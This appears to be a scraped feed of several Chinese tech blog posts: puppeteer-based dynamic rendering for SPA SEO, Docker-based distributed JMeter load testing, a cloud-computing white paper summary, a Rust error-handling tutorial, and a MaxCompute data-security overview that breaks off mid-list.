    回归到原始需求,为了提高用户体验我们用了SPA技术、为了SEO 我们用了 SSR、预渲染等技术。不同技术方案有一定差距,不能兼顾优点。但仔细想,需要这些技术优点的“用户”,其实时不一样的,SPA 针对的是浏览器普通用户、SSR 针对的是网页爬虫,如 googlebot、baiduspider 等,那为什么我们不能给不同“用户”不同的页面呢,服务端动态渲染就是这种方案。

    基本原理: 服务端对请求的 user-agent 进行判断,浏览器端直接给 SPA 页面,如果是爬虫,给经过动态渲染的 html 页面

    PS: 你可能会问,给了爬虫不同的页面,会不会被认为是网页作弊行为呢?

    Google 给了回复

    Dynamic rendering is not cloaking

    Googlebot generally doesn't consider dynamic rendering as cloaking. As long as your dynamic rendering produces similar content, Googlebot won't view dynamic rendering as cloaking.

    When you're setting up dynamic rendering, your site may produce error pages. Googlebot doesn't consider these error pages as cloaking and treats the error as any other error page.

    Using dynamic rendering to serve completely different content to users and crawlers can be considered cloaking. For example, a website that serves a page about cats to users and a page about dogs to crawlers can be considered cloaking.

    也就是说,如果我们没有刻意去作弊,而是使用动态渲染方案去解决SEO问题,爬虫经过对比网站内容,没有明显差异,不会认为这是作弊行为。

    优点

    • 兼顾 SPA优点同时解决SEO问题

    缺点

    • 需要服务端应用(但动态渲染只针对爬虫、不会成为性能瓶颈)

    总结: 经过前期其他方案的实践、优缺点权衡、最终我们选择了方案四的动态渲染作为 SPA 的 SEO 方案。

    实现细节

    上图为最终实现。(存在优化点:右边CDN整合、可以考虑使用Node替代nginx部分功能,简化架构)

    社区方案:

    方案 github star 描述
    puppeteer 63.2k 可用于动态渲染、前端测试、操作模拟。API丰富
    rendertron 4.9k 动态渲染
    prerender.io 5.6k 动态渲染

    选型使用 puppeteer 作为动态渲染方案。

    依赖:

    {
      "dependencies": {
        "bluebird": "^3.7.2",
        "express": "^4.17.1",
        "puppeteer": "^5.2.0",
        "redis": "^3.0.2",
        "request": "^2.88.2"
      }
    }

    代码参考Google 官方 Demo进行改造,下面是基础代码:

    server.js

    import express from 'express';
    import request from 'request';
    import ssr from './ssr.js';
    
    const app = express();
    
    const host = 'https://www.abc.com';
    
    app.get('*', async (req, res) => {
        const {html, ttRenderMs} = await ssr(`${host}${req.originalUrl}`);
        res.set('Server-Timing', `Prerender;dur=${ttRenderMs};desc="Headless render time (ms)"`);
        return res.status(200).send(html); // Serve prerendered page as response.
    });
    
    app.listen(8080, () => console.log('Server started. Press Ctrl + C to quit'));
    

    ssr.js

    import puppeteer from 'puppeteer';
    
    // In-memory cache of rendered pages.
    const RENDER_CACHE = new Map();
    
    async function ssr(url) {
        if (RENDER_CACHE.has(url)) {
            return {html: RENDER_CACHE.get(url), ttRenderMs: 0};
        }
        const start = Date.now();
    
        const browser = await puppeteer.launch({
            args: ['--no-sandbox', '--disable-setuid-sandbox']
        });
        const page = await browser.newPage();
        try {
            // networkidle0 waits for the network to be idle (no requests for 500ms).
            await page.goto(url, {waitUntil: 'networkidle0'});
            await page.waitForSelector('#root'); // ensure #posts exists in the DOM.
        } catch (err) {
            console.error(err);
            throw new Error('page.goto/waitForSelector timed out.');
        }
    
        const html = await page.content(); // serialized HTML of page DOM.
        await browser.close();
    
        const ttRenderMs = Date.now() - start;
        console.info(`Puppeteer rendered page: ${url} in: ${ttRenderMs}ms`);
    
        RENDER_CACHE.set(url, html); // cache rendered page.
    
        return {html, ttRenderMs};
    }
    
    export {ssr as default};

    Demo 代码存在以下问题:

    • 页面渲染后返回浏览器,有时会再次执行异步请求获取数据(重复请求)
    • 使用了 Map 做页面缓存,在node服务崩溃时会丢失全部缓存。没有超时限制,随着时间增长,内存消耗大(缓存机制)
    • 重复请求 React/Vue 静态文件,ssr 函数会当成一个页面进行渲染(错误渲染)

    下面对这些问题逐个击破

    重复请求:

    根本原因是React/Vue 代码生命周期函数重复执行。一般我们在created/componentDidMount hook 进行异步数据请求,这个hook在动态渲染的时候执行了一次,在HTML返回浏览器的时候,dom挂载又执行了一次,此问题在Google Support也有提及。可以通过小小改造前端代码,判断页面是否已被动态渲染再执行异步请求。可参考:

    componentDidMount() {
        const PRE_RENDERED = document.querySelector('#posts');
        if(!PRE_RENDERED) {
            // 异步请求
            // 插入含有 #posts id 的 dom 元素
        }
    }

    缓存机制

    针对 Map 缓存的问题,我们使用了Redis进行改造,增加超时机制,同时可以避免node崩溃缓存击穿问题

    redis/index.js

    import redis from 'redis';
    import bluebird from 'bluebird';
    
    bluebird.promisifyAll(redis);
    
    const host = 'www.abc.com';
    const port = 6379;
    const password = '123456';
    
    const client = redis.createClient({
        host,
        port,
        password,
        retry_strategy: function(options) {
            if (options.error && options.error.code === "ECONNREFUSED") {
                return new Error("The server refused the connection");
            }
            if (options.total_retry_time > 1000 * 60 * 60) {
                return new Error("Retry time exhausted");
            }
            if (options.attempt > 10) {
                return undefined;
            }
            return Math.min(options.attempt * 100, 3000);
        },
    });
    
    client.on("error", function(e) {
        console.error('dynamic-render redis error: ', e);
    });
    
    export default client;

    ssr.js

    import puppeteer from 'puppeteer';
    import redisClient from './redis/index.js';
    
    async function ssr(url) {
        const REDIS_KEY = `ssr:${url}`;
        const CACHE_TIME = 600; // 10 分钟缓存
        const CACHE_HTML = await redisClient.getAsync(REDIS_KEY);
    
        if (CACHE_HTML) {
            return { html: CACHE_HTML, ttRenderMs: 0 };
        }
        const start = Date.now();
    
        const browser = await puppeteer.launch({
            args: ['--no-sandbox', '--disable-setuid-sandbox']
        });
        const page = await browser.newPage();
        try {
            // networkidle0 waits for the network to be idle (no requests for 500ms).
            await page.goto(url, {waitUntil: 'networkidle0'});
            await page.waitForSelector('#root'); // ensure #posts exists in the DOM.
        } catch (err) {
            console.error(err);
            throw new Error('page.goto/waitForSelector timed out.');
        }
    
        const html = await page.content(); // serialized HTML of page DOM.
        await browser.close();
    
        const ttRenderMs = Date.now() - start;
        console.info(`Puppeteer rendered page: ${url} in: ${ttRenderMs}ms`);
    
        redisClient.set(REDIS_KEY, html, 'EX', CACHE_TIME); // cache rendered page.
        return {html, ttRenderMs};
    }
    
    export {ssr as default};

    错误渲染

    渲染后的页面回到浏览器后,有时执行操作会重新加载样式文件,请求路径类似:/static/1231234sdf.css,这些路径会被当做一个页面路径,而不是静态资源进行渲染,导致渲染错误。解决方式:增加 path 匹配拦截,资源文件直接向原域名请求

    import express from 'express';
    import request from 'request';
    import ssr from './ssr.js';
    
    const app = express();
    
    const host = 'https://www.abc.com';
    
    app.get('/static/*', async (req, res) => {
        request(`${host}${req.url}`).pipe(res);
    });
    
    app.get('/manifest.json', async (req, res) => {
        request(`${host}${req.url}`).pipe(res);
    });
    
    app.get('/favicon.ico', async (req, res) => {
        request(`${host}${req.url}`).pipe(res);
    });
    
    app.get('/logo*', async (req, res) => {
        request(`${host}${req.url}`).pipe(res);
    });
    
    app.get('*', async (req, res) => {
        const {html, ttRenderMs} = await ssr(`${host}${req.originalUrl}`);
        res.set('Server-Timing', `Prerender;dur=${ttRenderMs};desc="Headless render time (ms)"`);
        return res.status(200).send(html); // Serve prerendered page as response.
    });
    
    app.listen(8080, () => console.log('Server started. Press Ctrl + C to quit'));
    

    动态渲染相比SSR有几点明显好处:

    • 和 SSR 一致的 SEO 效果,通过 puppeteer 还可进一步定制 SEO 方案
    • node 应用负载压力小,只需应对爬虫请求,相当于只有爬虫来了页面才做SSR
    • 从整体架构上来说相当于一个插件,可随时插拔,无副作用
    • 不需要大量修改SPA代码(只在重复请求问题上用一个标志位去识别,当然也可以不管这个问题)

    (重复请求只在爬虫有js执行能力时才出现,一般再次请求数据也没问题)

    附录

    常见爬虫 user-agent

    主体 user-agent 用途
    Google googlebot 搜索引擎
    Google google-structured-data-testing-tool 测试工具
    Google Mediapartners-Google Adsense广告网页被访问后,爬虫就来访
    Microsoft bingbot 搜索引擎
    Linked linkedinbot 应用内搜索
    百度 baiduspider 搜索引擎
    奇虎 360 360Spider 搜索引擎
    搜狗 Sogou Spider 搜索引擎
    Yahoo Yahoo! Slurp China 搜索引擎
    Yahoo Yahoo! Slurp 搜索引擎
    Twitter twitterbot 应用内搜索
    Facebook facebookexternalhit 应用内搜索
    - rogerbot -
    - embedly -
    Quora quora link preview -
    - showyoubot -
    - outbrain -
    - pinterest -
    - slackbot -
    - vkShare -
    - W3C_Validator -

    模拟爬虫测试

    # 不带 user-agent 返回SPA页面,html 上无数据
    curl 你的网站全路径
    # 模拟爬虫、返回页面应该带有 title,body 等数据,方便 SEO
    curl -H 'User-agent:Googlebot' 你的网站全路径

    参考资料

    【1】构建时预渲染:网页首帧优化实践

    【2】Implement dynamic rendering

    【3】Google 抓取工具(用户代理)概览

    ]]>
    基于Docker部署的Jmeter分布式压测 Fri, 02 May 2025 09:39:03 +0800 为什么需要分布式压测

    在压测工作中我们经常遇见对一些关键接口需要压测到很高的QPS,这时候我们需要设置更多的线程去模拟虚拟用户去请求接口,假如我们需要模拟20000个用户,在单台机器很难模拟20000个用户,因为Jmeter是用Java语言开发,每创建一个线程,JVM默认会为每个线程分配1M的堆栈内存空间,这里只计算所需要的内存就需要20G的内存。一般我们的施压机器配置是4核8G或者8核16G的,此时我们需要多台机器共同完成施压请求。

    分布式压测一键部署

    分布式压测架构示意图如下图所示
    image.png

    Jmeter分布式测试环境中有两个角色:Master和Slaves

    1. Master节点:向参与的Slaves节点发送测试脚本,并聚合Agent节点的执行结果,部署一台
    2. Slaves节点:接收并执行Master节点发送过来的测试脚本,并将执行结果返回给Master,可部署多台

    部署前置条件,你的机器上已经安装了Docker

    下载Master节点:
    docker pull runcare/jmeter-master

    下载Slaves节点:
    docker pull runcare/jmeter-slave

    分布式压测使用

    1. 启动Slaves节点,这里假如我们启动三台机器
    docker run -it -d --name slave01 runcare/jmeter-slave
    docker run -it -d --name slave02 runcare/jmeter-slave
    docker run -it -d --name slave03 runcare/jmeter-slave

    image.png

    1. 准备一个测试脚本文件test.jmx
    2. 查看一下Slaves机器的IP地址
      docker inspect -f '{{ .Name }} => {{ .NetworkSettings.IPAddress }}' $(docker ps -q)
    3. Master机器发送脚本
    /Users/eleme/Downloads/jmeter-master 是你脚本test.jmx所在的目录
    result=`date +"%Y%m%d%H%M%S"` && docker run --rm -v /Users/eleme/Downloads/jmeter-master:/data a4789222b813 jmeter -n -t /data/test.jmx -l /data/$result.jtl -j /data/$result.log -e -o /data/$result -R 172.17.0.2,172.17.0.3,172.17.0.4

    或者

    docker run --rm -v $(pwd):/data 20cb9e02cfe8 jmeter -n -t /data/aggregation.jmx -l /data/result.jtl -j /data/result.log  -R 172.17.0.2,172.17.0.3

    image.png

    1. 生产的结果文件,日志文件和报表文件在脚本文件test.jmx同一目录下
      image.png
    2. 如果压测脚本中使用到了csv数据源文件,需要提前复制到Slaves的/data目录下

    注意事项

    1. Master和Slaves需要在同一网段,如果mac电脑Master使用安装在mac电脑中的Jmeter,Slaves使用Docker中的Slaves,需要在启动Slaves时将端口映射出来
      docker run -it -d -p 1099:1099 -p 60001:60001 runcare/jmeter-slave
    2. 执行Master发送脚本时也需要指定server.hostname和server.rmi.localport
    进入test.jmx所在目录
    result=`date +"%Y%m%d%H%M%S"` && jmeter -n -t test.jmx -l $result.jtl -j $result.log -e -o $result -Djava.rmi.server.hostname=30.208.47.45 -Dserver.rmi.localport=60002 -Dserver_port=1098

    Master和Slaves制作附件

    1. Master制作的Dockerfile
    # oracle jdk 1.8 备用
    #FROM runcare/debian-jre1.8
    
    # openjdk 1.8
    FROM runcare/openjdk-jre1.8
    
    # 更新版本1
    MAINTAINER runcare<larrygui@foxmail.com>
    
    ARG JMETER_VERSION="5.1.1"
    ENV JMETER_HOME /opt/apache-jmeter-$JMETER_VERSION
    ENV JMETER_DOWNLOAD_URL  https://archive.apache.org/dist/jmeter/binaries/apache-jmeter-$JMETER_VERSION.tgz
    ENV SSL_DISABLED true
    
    RUN mkdir -p /tmp/dependencies  
        && curl -L --silent $JMETER_DOWNLOAD_URL >  /tmp/dependencies/apache-jmeter-$JMETER_VERSION.tgz  
        && mkdir -p /opt  
        && tar -xzf /tmp/dependencies/apache-jmeter-$JMETER_VERSION.tgz -C /opt  
        && rm -rf /tmp/dependencies
    
    # TODO: plugins (later)
    # && unzip -oq "/tmp/dependencies/JMeterPlugins-*.zip" -d $JMETER_HOME
    
    # Set global PATH such that "jmeter" command is found
    ENV PATH $PATH:$JMETER_HOME/bin
    
    VOLUME ["/data"]
    
    WORKDIR    $JMETER_HOME
    
    RUN sed 's/#server.rmi.ssl.disable=false/server.rmi.ssl.disable=true/g' ./bin/jmeter.properties > ./bin/jmeter_temp.properties
    RUN mv ./bin/jmeter_temp.properties ./bin/jmeter.properties
    1. Slaves制作的Dockerfile
    # oracle jdk 1.8 备用
    #FROM runcare/debian-jre1.8
    
    # openjdk 1.8
    FROM runcare/openjdk-jre1.8
    
    # 更新版本1
    MAINTAINER runcare<larrygui@foxmail.com>
    
    ARG JMETER_VERSION="5.1.1"
    ENV JMETER_HOME /opt/apache-jmeter-$JMETER_VERSION
    ENV JMETER_DOWNLOAD_URL  https://archive.apache.org/dist/jmeter/binaries/apache-jmeter-$JMETER_VERSION.tgz
    ENV SSL_DISABLED true
    
    RUN mkdir -p /tmp/dependencies  
        && curl -L --silent $JMETER_DOWNLOAD_URL >  /tmp/dependencies/apache-jmeter-$JMETER_VERSION.tgz  
        && mkdir -p /opt  
        && tar -xzf /tmp/dependencies/apache-jmeter-$JMETER_VERSION.tgz -C /opt  
        && rm -rf /tmp/dependencies
    
    # TODO: plugins (later)
    # && unzip -oq "/tmp/dependencies/JMeterPlugins-*.zip" -d $JMETER_HOME
    
    # Set global PATH such that "jmeter" command is found
    ENV PATH $PATH:$JMETER_HOME/bin
    
    VOLUME ["/data"]
    
    WORKDIR    $JMETER_HOME
    
    EXPOSE 1099 60001
    
    ENTRYPOINT jmeter-server -Dserver.rmi.localport=60001 -Dserver_port=1099 
                -Jserver.rmi.ssl.disable=$SSL_DISABLED
    ]]>
    中国信通院:2020年云计算发展白皮书 Fri, 02 May 2025 09:39:03 +0800 前言:
    -更多关于数智化转型、数据中台内容请加入阿里云数据中台交流群—数智俱乐部 和关注官方微信公总号(文末扫描二维码或点此加入

    -阿里云数据中台官网 https://dp.alibaba.com/index

    (来源:199IT)

    中国信通院云计算与大数据研究所副所长栗蔚在会上正式发布并解读白皮书,总结出的2020年云计算发展六大关键词,以及六大关键词背后的重要趋势。

    白皮书指出:未来,云计算仍将迎来下一个黄金十年,进入普惠发展期。一是随着新基建的推进,云计算将加快应用落地进程,在互联网、政务、金融、交通、物流、教育等不同领域实现快速发展。二是全球数字经济背景下,云计算成为企业数字化转型的必然选择,企业上云进程将进一步加速。三是新冠肺炎疫情的出现,加速了远程办公、在线教育等SaaS服务落地,推动云计算产业快速发展。”

    关键词1:云原生

    随着市场持续增长,云技术也不断推陈出新,其中一个值得高度关注的趋势是——云原生采纳率持续攀升。栗蔚介绍,目前超四成的企业已经在使用容器技术,超过七成的私有云企业已经使用或计划使用微服务架构。

    关键词2:SaaS

    “疫情下,越来越多的企业接受SaaS的模式。”栗蔚表示,从业务上看,我国IaaS发展成熟,PaaS增长高速,SaaS潜力巨大。2019年,我国SaaS市场规模达到194亿元,与全球整体市场(1095亿美元)的成熟度差距明显,但是发展空间却十分巨大。尤其是受疫情的推动,预计未来市场将加速发展。

    关键词3:分布式云

    “随着云边协同的发展,在工业等多个领域,分布式云将成为主要模式。”栗蔚说,中国信通院的调研显示,超过50%的用户已经计划或者已经使用边缘云的模式,“中心云+边缘云”的分布式云的架构已经崭露头角。

    关键词4:原生云安全

    “近年来,一个新的理念诞生,即原生云安全。”栗蔚表示,中国信通院发布的《中国公有云发展调查报告(2020年)》显示,42.4%的企业在选择公有云服务商时会考虑服务安全性,安全是影响企业选择的重要因素。而随着云原生快速兴起,原生云安全也成为关注焦点。

    关键词5:数字化转型

    数字化转型已经成为经济社会发展的重要趋势。栗蔚指出,随着云计算技术、架构、安全等方面的推陈出新,云计算在数字化转型中扮演重要角色。调查显示,超过五成的企业使用云计算是为了降本增效,超四成的企业表示使用云计算提升了IT运行效率,IT运维工作量减少和安全性提升的占比分别为25.8%和24.2%。

    关键词6:新基建

    “随着利好政策不断加码,云计算已经成为新基建的重要组成部分。”栗蔚表示,无论是工业和信息化部发布的《中小企业数字化赋能专项行动方案》,国家发展改革委、中央网信办发布的《关于推进“上云用数赋智”行动培育新经济发展实施方案》,还是国家发展改革委对新基建概念的解读,都表明——云计算已经成为新基建的重要组成部分。

    最后,《白皮书》指出,2020年又是一个新十年的开端,无论是如火如荼的“新基建”、稳步推进的企业数字化转型,还是突如其来的疫情,都将云计算推向了一个新高度。未来十年,云计算将进入全新发展阶段,具体表现为以下六大趋势:

    趋势1:云技术从粗放向精细转型

    趋势2:云需求从IaaS向SaaS上移

    趋势3:云架构从中心向边缘延伸

    趋势4:云安全从外部向原生转变

    趋势5:云应用从互联网向行业生产渗透

    趋势6:云定位既是基础资源也是基建操作系统

    详细报告可点击查看:链接文字
    或者扫码钉钉群下载

    ]]>
    理解Rust的Result/Option/unwrap/? Fri, 02 May 2025 09:39:03 +0800 我在学习Rust时,注意到有4个概念经常放到一起讨论:Result、Option、unwapr和?操作符。本文记录了我对这4个Rust概念的思考,这个思考过程帮助我理解并学会了如何写出更地道的Rust代码。

    区块链开发教程链接:以太坊 | 比特币 | EOS | Tendermint | Hyperledger Fabric | Omni/USDT | Ripple

    1、Option - 可空变量

    虽然Rust中有null的概念,但是使用null并不是Rust中常见的模式。假设我们要写一个函数,输入一种手机操作系统的名称,这个函数就会返回其应用商店的名称。如果传入字符串iOS,该函数将返回App Store;如果传入字符串android,那么该函数将返回Play Store。任何其他的输入都被视为无效。

    在大多数开发语言中,我们可以选择返回null或字符串invalid来表示无效的结果,不过这不是Rust的用法。

    地道的Rust代码应该让该函数返回一个Option。Option或更确切的说Option<T>是一个泛型,可以是Some<T>None(为了便于阅读,后续文章中将省略类型参数T)。Rust将SomeNone称为变体(Variant) —— 这一概念在其他语言中并不存在,因此我也不
    去定义到底什么是变体了。

    在我们的示例中,正常情况下函数将返回包裹在Some变体中的字符串常量App Store或Play Store。而在非正常情况下,函数将返回None。

    fn find_store(mobile_os: &str) -> Option<&str> {
        match mobile_os {
            "iOS" => Some("App Store"),
            "android" => Some("Play Store"),
            _ => None
        }
    }

    要使用find_store(),我们可以用如下方式调用:

    fn main() {
        println!("{}", match find_store("windows") {
            Some(s) => s,
            None => "Not a valid mobile OS"
        });
    }

    完整的代码如下:

    fn find_store(mobile_os: &str) -> Option<&str> {
        match mobile_os {
            "iOS" => Some("App Store"),
            "android" => Some("Play Store"),
            _ => None
        }
    }
    
    fn main() {
        println!("{}", match find_store("windows") {
            Some(s) => s,
            None => "Not a valid mobile OS"
        });
    }

    2、Result - 包含错误信息的结果

    Result,或者更确切地说Result<T,E>,是和Rust中的Option相关的概念,它是一个加强版本的Option。

    Result可能有以下结果之一:

    • Ok(T):结果为成员T
    • Err(E):结果为故障成员E

    与之前我们看到Option可以包含Some或None不同,Result中包含了错误相关信息,这是Option中所没有的。

    让我们看一个函数实例,它返回一个Result。该函数摘自用于解析JSON字符串的serde_json库,其签名为:

    pub fn from_str<'a, T>(s: &'a str) -> Result<T, Error> 
    where
        T: Deserialize<'a>, 

    假设我们要解析如下的字符串:

    let json_string = r#"
        {
            "name": "John Doe",
            "age": 43,
            "phones": [
                "+44 1234567",
                "+44 2345678"
            ]
        }"#;

    目标是解析为Rust的一个person结构对象:

    #[derive(Serialize, Deserialize)]
    struct Person {
        name: String,
        age: u8,
        phones: Vec<String>,
    }

    解析过程的Rust代码如下:

    let p:Person = match serde_json::from_str(json_string) {
        Ok(p) => p,
        Err(e) => ... //we will discuss what goes here next 
    };

    正常情况下可以得到期望的结果。不过假设在输入的json_string中有一个笔误,这导致程序运行时将执行Err分支。

    当碰到Err时,我们可以采取两个动作:

    • panic!
    • 返回Err

    3、unwrap - 故障时执行panic!

    在上面的示例中,假设我们期望panic!:

    let p: Person = match serde_json::from_str(data) {
            Ok(p) => p,
            Err(e) => panic!("cannot parse JSON {:?}, e"), //panic
        }

    当碰到Err时,上面的代码panic!就会崩掉整个程序,也许这不是你期望的。我们可以修改为:

    let p:Person = serde_json::from_str(data).unwrap();

    如果我们可以确定输入的json_string始终会是可解析的,那么使用unwrap没有问题。但是如果会出现Err,那么程序就会崩溃,无法从故障中恢复。在开发过程中,当我们更关心程序的主流程时,unwrap也可以作为快速
    原型使用。

    因此unwrap隐含了panic!。虽然与更显式的版本没有差异,但是危险在于其隐含特性,因为有时这并不是你真正期望的行为。

    无论如何,如果我们需要调用panic!,代码如下:

    use serde::{Deserialize, Serialize};
    use serde_json::Result;
    
    #[derive(Serialize, Deserialize)]
    struct Person {
        name: String,
        age: u8,
        phones: Vec<String>,
    }
    
    fn typed_example() -> Result<()> {
        //age2 is error on purpose
        let data = r#"
            {
                "name": "John Doe",
                "age2": 43,
                "phones": [
                    "+44 1234567",
                    "+44 2345678"
                ]
            }"#;
    
        let p:Person = serde_json::from_str(data).unwrap();
    
        println!("Please call {} at the number {}", p.name, p.phones[0]);
    
        Ok(())
    }
    
    fn main() {
        match typed_example() {
            Ok(_) => println!("program ran ok"),
            Err(_) => println!("program ran with error"),
        }
    }

    4、? - 故障时返回Err对象

    当碰到Err时,我们不一定要panic!,也可以返回Err。不是每个Err都是不可恢复的,因此有时并不需要panic!。下面的代码返回Err:

    let p: Person = match serde_json::from_str(data) {
            Ok(p) => p,
            Err(e) => return Err(e.into()),
    };

    ?操作符提供了一个更简洁的方法来替换上面的代码:

    let p:Person = serde_json::from_str(data)?;

    这时完整的Rust程序代码如下:

    use serde::{Deserialize, Serialize};
    use serde_json::Result;
    
    #[derive(Serialize, Deserialize)]
    struct Person {
        name: String,
        age: u8,
        phones: Vec<String>,
    }
    
    fn typed_example() -> Result<()> {
        //age2 is error on purpose
        let data = r#"
            {
                "name": "John Doe",
                "age2": 43,
                "phones": [
                    "+44 1234567",
                    "+44 2345678"
                ]
            }"#;
    
        let p: Person = serde_json::from_str(data)?;
    
        println!("Please call {} at the number {}", p.name, p.phones[0]);
    
        Ok(())
    }
    
    fn main() {
        match typed_example() {
            Ok(_) => println!("program ran ok"),
            Err(e) => println!("program ran with error {:?}", e),
        }
    }

    5、使用unwrap和?解包Option

    就像我们可以使用unwarp和?来处理Result,我们也可以使用unwrap和?来处理Option。

    如果我们unwrap的Option的值是None,那么程序就会panic!。示例如下:

    fn next_birthday(current_age: Option<u8>) -> Option<String> {
        // If `current_age` is `None`, this returns `None`.
        // If `current_age` is `Some`, the inner `u8` gets assigned to `next_age` after 1 is added to it
        let next_age: u8 = current_age?;
        Some(format!("Next year I will be {}", next_age + 1))
    }
    
    fn main() {
      let s = next_birthday(None);
      match s {
          Some(a) => println!("{:#?}", a),
          None => println!("No next birthday")
      }
    }

    原文链接:Rust学习 - Result/Option/unwrap/? — 汇智网

    ]]>
    SaaS 模式云数据仓库 MaxCompute 数据安全最佳实践 Fri, 02 May 2025 09:39:03 +0800 什么是 MaxCompute?

    MaxCompute 是一款云原生、高效能的SaaS模式企业级数据仓库服务,被广泛用于构建现代化企业数据平台,开展BI分析、数据化运营、画像及推荐、智能预测等应用场景。

    MaxCompute 构建在阿里云大规模计算、存储资源之上,以Serverless架构提供全托管的在线数据仓库服务,消除了传统数据平台在资源扩展性和弹性方面的限制,并最小化用户的运维投入。

    MaxCompute支持多种经典计算模型(批处理、机器学习、交互式分析等)和完善的企业管理功能,借助MaxCompute,用户可轻松集成和管理企业数据资产,简化数据平台架构,加速价值实现。

    MaxCompute 企业级安全能力升级

    MaxCompute 近期对产品的安全能力进行了全面升级。 发布的安全能力有:

    · 细粒度授权
    · 数据加密 (BYOK)
    · 数据脱敏(数据保护伞)
    · 持续备份恢复
    · 跨地域的容灾备份
    · 实时审计日志

    MaxCompute 安全体系

    对于一个企业级的大数据平台,要应对的安全风险,有三个层次(如图-1):
    1.基础安全与可信平台,保障数据中心的物理安全与网络安全,主要包括数据中心保障设施、数据中心安全管控、数据中心的网络安全等几个维度的建设。
    2.大数据平台的系统安全,主要由访问控制、安全隔离、风控审计、以及数据保护等子系统构成,为上层安全应用或工具提供平台能力基础。
    3.数据应用的安全,为用户提供工具化的数据安全产品,优化用户体验,帮助用户更好应对各类数据风险。

    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

    (图-1:大数据平台安全体系)

    近期的MaxCompute安全能力升级,主要新功能覆盖了访问控制、风控审计、以及数据保护几个子系统,如图-1中“大数据平台安全”层中,黄色高亮字体部分。本文中,我们将针对几类主要的数据风险(如图-2),介绍这些数据风险应对的最佳实践。在最佳实践中,将会穿插介绍何时使用、为什么使用、如何使用这些新功能。

    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

    (图-2:主要数据风险)

    如何应对数据误用

    数据误用是由于非故意的、过失性动作导致的,防止误用一般指防止数据被不经意间错误使用。应对数据误用的风险,防止数据误用,核心的一点,就是了解数据,能够回答这些问题:我有什么数据,这些数据在哪里,这些数据是怎么来的、又被如何使用,等一系列问题。

    1. MaxCompute 提供基础元数据信息

    MaxCompute 可以帮助用户很好的回答这些问题。 MaxCompute 平台构建了统一的元数据管理,基于统一元数据和完备的平台日志,向用户提供元数据和相关日志数据。 用户可以基于 MaxCompute 的 Information Schema,构建自己的数据管理应用。

    2. 使用数据地图作为数据管理工具

    大多数用户更希望通过现有的数据管理应用或服务,来了解自己的数据:“DataWorks-数据地图”就是这样的应用。 数据总览、数据明细等信息能帮助用户了解自己有哪些数据以及数据的明细信息;产出和使用信息、血缘信息,则能帮助用户了解数据的来龙去脉,帮助用户正确、合理的使用数据。 使正确的数据,被正确的使用在正确的场景下。

    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

    (图-3:使用数据地图了解数据)

    如何应对数据滥用

    数据滥用指的是对数据的使用超出了其预先约定的场景或目的,数据滥用一般是靠故意的、带有目的性的动作完成的。而应对数据滥用,最主要的应对是对数据使用做最小化授权,严格限制数据的被访问、使用的范围。权限管理的最佳实践,推荐图-5中的4大过程:

    • 数据分级管理:基于 MaxCompute 的 LabelSecurity 对数据做分类分级管理。
    • 授权审批流程:基于 MaxCompute 的 列级别权限管控能力, 对数据的访问使用需求,做最小化授权。
    • 定期审计:对权限的申请、审批、使用情况进行分析,做到事前有审批,事后有审计。
    • 及时清理:及时清理过期权限,减少数据风险。

    可以依托 MaxCompute 的细粒度权限体系,使用 Dataworks 等白屏化工具,来实现最小化授权的最佳实践,应对数据滥用的风险。

    1. (New) MaxCompute 细粒度权限体系提供精细化的权限管理能力

    MaxCompute支持不同的授权机制来完成对用户或角色的授权,包括:
    • 自主访问控制机制 (DAC, Discretionary Access Control): ACL
    • 强制访问控制机制 (MAC, Mandatory Access Control):LabelSecurity(标签安全策略)
    • 基于角色的访问控制机制 (RBAC, Role based Access Control): 角色管理

    不论是哪种访问控制机制,授权鉴权过程中的三个要素是相同的:Action,Object,以及Subject,如下图。

    在此次的MaxCompute 安全能力发布中,也包括权限模型的升级,支持更细粒度的授权鉴权,提供精细化的权限管理能力。 主要新功能有:

    • ACL 支持列级别权限管理,增加Condition支持,增加授权有效期支持;
    • 细粒度 Package 内资源权限管控,对 Package 内的资源可以支持到列级别的权限管控;
    • 增加独立的 Download 数据下载权限管理,对更高风险的数据批量下载场景做独立权限管控;
    • 管理类权限支持分级授权管理,内置 super administrator 角色来分解project owner 管理负担;
    • 完善 RBAC,LabelSecurity 增加对 Role 的支持;
    • 增强对应用端的权限管理能力。

    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

    (图-4:MaxCompute 细粒度权限体系)

    (橙色高亮字体为此次细粒度权限能力发布)

    2.使用安全中心进行白屏化权限管理

    MaxCompute 的细粒度权限体系提供了的实现最小化授权的平台能力,结合一些白屏化工具,如“DataWorks-安全中心”,则可以提供更好的用户体验,让用户更方便的实现权限管理。

    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

    (图-5:使用安全中心做白屏化权限管理)

    安全中心提供便捷的权限管控功能和可视化的申请、审批流程,也可以进行权限的审计和管理:

    • 权限自助申请:选择所需权限的数据表/字段,在线上快速发起申请。
    • 权限审计及交还:管理员可以查看数据权限的对应人员,进行审计管理,用户也可以主动交还不再需要的权限。
    • 权限审批管理:在线审批授权模式,提供可视化、流程化的管理授权机制,并可以对审批流程进行事后追溯。

    如何应对数据泄露

    1.数据生命周期

    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

    (图-6:数据生命周期)

    数据泄露可能发生在数据生命周期的多个阶段,如数据传输、数据存储、数据处理、数据交换等阶段。因此,我们将结合数据生命周期的不同阶段来介绍应对数据泄露的最佳实践。

    首先,数据从不同的渠道被采集,经过各类传输通道,进入大数据平台。 在大数据平台中,经过计算后落盘存储;数据也会通过数据分享机制,在不同的租户、业务之间流转;经过一定周期后,一些数据也会被删除销毁。经过处理后的数据,则会通过不同的传输通道,被其他数据应用、或者用户消费。 (如图-7)。

    9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

    (图-7:大数据平台中的数据生命周期)

    2.(New) 应对数据存储过程中的数据泄露风险 - 使用数据加密(存储加密)功能

    我们首先看一下如何应对数据存储过程中的数据泄露风险:如磁盘数据被直接访问,磁盘被获取,等风险。应对此类情况的措施,是对磁盘数据进行加密,这样即使数据被恶意获取,加密后的数据也无法被解读使用。
    此次安全能力升级中, MaxCompute 发布了存储加密功能,支持用户数据的落盘加密:

    • MaxCompute接入秘钥管理系统KMS以保障秘钥的安全性,支持服务秘钥和用户自选秘钥(BYOK)。
    • 用户可以在创建MaxCompute项目时,配置选择打开存储加密功能(存量用户可以通过工单申请开通)。
    • 支持加密算法:AES256,国密算法,等。
